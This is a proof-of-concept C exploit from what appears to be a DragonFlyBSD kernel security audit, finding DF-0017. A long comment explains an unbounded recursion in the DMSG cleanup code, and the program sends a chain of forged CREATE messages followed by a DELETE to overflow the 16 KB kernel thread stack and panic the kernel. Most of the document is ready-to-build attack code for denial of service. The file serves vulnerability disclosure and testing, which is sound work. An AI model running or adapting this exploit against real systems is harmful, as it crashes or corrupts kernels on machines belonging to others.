DragonFlyBSD Kernel Audit
DF-0017 / kdmsg_stackoverflow.c
← back to finding ↓ download raw
/*
 * DF-0017 PoC - kdmsg unbounded recursion -> kernel thread stack overflow.
 *
 * kdmsg_simulate_failure() (sys/kern/kern_dmsg.c:1321-1351) recurses through
 * state->subq with NO depth limit (line 1346). The DMSG state machine lets a
 * peer build an arbitrarily deep parent->child chain by sending CREATE
 * messages whose `circuit` field references the previous state's msgid; the
 * new child is linked into pstate->subq (kern_dmsg.c:917). Triggering cleanup
 * -- a DELETE on the chain root (kdmsg_state_cleanuprx at :1255 calls
 * kdmsg_simulate_failure) or simply closing the connection (write-thread
 * teardown at :555) -- recurses depth-first through the whole chain and
 * overflows the 16 KB LWKT thread stack (UPAGES*PAGE_SIZE = 4*4096,
 * sys/sys/thread.h:472), panicking or corrupting the kernel.
 *
 * Note: the kernel computes DMSG CRCs only on TRANSMIT, never verifying them
 * on receive (kern_dmsg.c:2009/2012 vs the receive path), so forged messages
 * are accepted; LNK_AUTH is unimplemented, so there is no kernel-layer auth.
 *
 * Reachability: a DMSG peer can reach this parser via the userland hammer2
 * relay daemon (cluster network -- HAMMER2 clustering in use) or locally via
 * the DIOCRECLUSTER ioctl on a disk device node (typically root/operator).
 *
 * This PoC builds the crafted wire messages and writes them to a supplied
 * connected fd (the DMSG iocom pipe/socket). Attach that fd to a DMSG iocom
 * via DIOCRECLUSTER on a disk device, or speak the relay protocol to a
 * hammer2 userland daemon, before running.
 *
 * Build (DragonFlyBSD):  cc -o kdmsg_stackoverflow kdmsg_stackoverflow.c
 *
 * WARNING: on a vulnerable kernel this PANICS / corrupts the kernel stack.
 * Run only on a disposable VM that has HAMMER2/DMSG wired up.
 *
 * Expected (bug present): kernel panic from double-fault / stack overflow
 * ("supervisor read, page not present" in the deep recursion, or stack-overflow
 * guard hit) after the final DELETE (or on connection close).
 */

#include <sys/types.h>
#include <sys/dmsg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#define DMSG_MAGIC0 0x4832

/* Build a minimal 64-byte dmsg header (no aux). */
static void
mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit)
{
	struct dmsg_hdr *h = buf;
	memset(buf, 0, 64);
	h->magic = DMSG_MAGIC0;
	h->cmd = cmd;
	h->msgid = msgid;
	h->circuit = circuit;
	/* hdr_crc/aux_crc are NOT verified on receive -> any value works */
	h->hdr_crc = 0;
}

int
main(int argc, char **argv)
{
	int fd, i;
	int depth = 1024;		/* >> ~250 needed to overflow 16 KB stack */

	if (argc < 2)
		errx(2, "usage: %s <connected-dmsg-fd> [depth]", argv[0]);
	fd = atoi(argv[1]);
	if (argc >= 3)
		depth = atoi(argv[2]);

	fprintf(stderr, "[*] sending %d chained CREATE messages + root DELETE\n",
	    depth);

	/* Chain: msgid=1 has circuit=0 (child of state0); msgid=i has circuit=i-1. */
	for (i = 1; i <= depth; i++) {
		char buf[64];
		mk_dmsg(buf, DMSGF_CREATE | DMSG_LNK_PAD, (uint64_t)i,
		    (i == 1) ? 0 : (uint64_t)(i - 1));
		if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
			err(1, "write CREATE %d", i);
	}

	/* DELETE the chain root -> cleanuprx -> kdmsg_simulate_failure(state1)
	 * recurses state1->state2->...->stateN, overflowing the 16 KB stack. */
	char buf[64];
	mk_dmsg(buf, DMSGF_DELETE | DMSG_LNK_PAD, 1ULL, 0);
	if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
		err(1, "write DELETE root");

	/* Alternatively, just closing `fd` triggers the write-thread teardown
	 * recursion (kern_dmsg.c:555) with the same result. */
	fprintf(stderr, "[*] done; expect kernel panic (stack overflow) on the "
	    "target\n");
	return 0;
}